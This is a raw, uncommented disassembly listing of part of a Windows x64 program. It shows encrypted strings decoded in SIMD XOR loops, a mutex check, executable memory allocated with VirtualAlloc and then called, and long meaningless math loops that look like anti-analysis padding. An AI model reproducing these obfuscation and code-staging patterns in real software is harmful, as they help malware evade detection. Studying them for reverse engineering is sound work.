movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140042210]
mov qword [r15 + rax*8 + 0x41bd0], rbx
mov qword [r15 + rax*8 + 0x3ff50], r8
inc rax
mov qword [0x140042210], rax
mov rcx, qword [sym.imp.KERNEL32.dll_GetLastError]
call r8
nop
mov rdx, qword [rsp + 0x170]
xor rdx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rdx
mov rcx, qword [rsp + 0x180]
mov qword [rcx], rdx
cmp eax, 0xb7
jne 0x14001f1e7
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400254c0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm0, xmmword [0x140037320]
movups xmmword [rsp + 0x160], xmm0
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
movsd qword [rsp + 0x148], xmm0
lea rcx, [rsp + 0x48]
call fcn.140001670
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.1400272a0
lea rcx, [rsp + 0x190]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
jns 0x14001f1d1
movsd xmm7, qword [0x140037258]
movsd xmm6, qword [0x140037250]
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.1400264a0
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.140002300
lea rcx, [rsp + 0x1b0]
call fcn.140002540
lea rcx, [rsp + 0x1b0]
call fcn.140025590
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002410
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400274f0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001f0b4
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001f0c3
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax + rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001f151
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001f178
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001f0e0
sub rdi, 1
jne 0x14001f0d0
lea rcx, [rsp + 0x1b0]
call fcn.140025530
nop
lea rcx, [rsp + 0x200]
call fcn.140026440
sub rsi, 1
jne 0x14001ee60
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
js 0x14001ee50
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.1400253f0
jmp 0x140024371
movsd xmm0, qword [0x140035af8]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140035b00]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140035b04]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x14001f39e
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm6
movd xmm0, eax
psubb xmm2, xmm0
movd xmm0, dword [0x140035af8]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm3, xmm8
punpckldq xmm3, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm2, xmm3
pmuldq xmm2, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm2, xmm0, 0xdd
psrad xmm2, 3
pmuldq xmm3, xmm13
pmuldq xmm1, xmm13
shufps xmm3, xmm1, 0xdd
paddd xmm3, xmm8
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14001f3b0
lea r8, [0x140043e90]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x220]
call fcn.140027a00
mov rcx, rax
call fcn.140026260
mov r8, rax
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov r14, rax
lea rcx, [rsp + 0x220]
call fcn.140026440
movups xmm0, xmmword [0x140036590]
movups xmmword [rsp + 0x1d0], xmm0
movzx ecx, byte [0x1400365a0]
mov byte [rsp + 0x1e0], cl
mov r9d, esi
cmp edi, 2
jl 0x14001f617
movdqa xmmword [rsp + 0x160], xmm6
lea rcx, [rsp + 0x1d4]
mov edx, dword [rsp + 0x160]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm2, xmm0, 0xdd
psrad xmm2, 3
pmuldq xmm3, xmm13
pmuldq xmm1, xmm13
shufps xmm3, xmm1, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14001f490
cmp r9d, 0x11
jge 0x14001f67f
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x14001f630
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001f6e9
mov rdx, rsi
cmp rax, r12
je 0x14001f6d8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001f6c0
jmp 0x14001f6e9
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001f7cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001f712
mov r8, rsi
jmp 0x14001f7ae
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f720
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400254c0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm9, xmmword [0x140037320]
movups xmmword [rsp + 0x160], xmm9
mov dword [rsp + 0x40], esi
xorps xmm10, xmm10
movsd qword [rsp + 0x148], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001670
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.1400272a0
lea rcx, [rsp + 0x190]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
movsd xmm8, qword [0x140037258]
movsd xmm6, qword [0x140037250]
test al, al
jns 0x14001fdc7
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.1400264a0
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.140002300
lea rcx, [rsp + 0x1b0]
call fcn.140002540
lea rcx, [rsp + 0x1b0]
call fcn.140025590
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002410
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400274f0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001fca5
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001fcb4
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001fd41
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001fd68
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001fcd0
sub rdi, 1
jne 0x14001fcc0
lea rcx, [rsp + 0x1b0]
call fcn.140025530
nop
lea rcx, [rsp + 0x200]
call fcn.140026440
sub rsi, 1
jne 0x14001fa50
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
js 0x14001fa40
mov edi, dword [0x14003f090]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.1400253f0
test r14, r14
je 0x14001fdeb
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140024371
movsd xmm0, qword [0x1400369f8]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140036a00]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140036a04]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x14001ffa5
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037300]
movd xmm0, eax
psubb xmm2, xmm0
movd xmm0, dword [0x1400369f8]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm5, xmmword [0x1400372b0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14001ffc0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140020079
mov rdx, rsi
cmp rax, r12
je 0x140020068
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140020050
jmp 0x140020079
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002015f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400200a2
mov r8, rsi
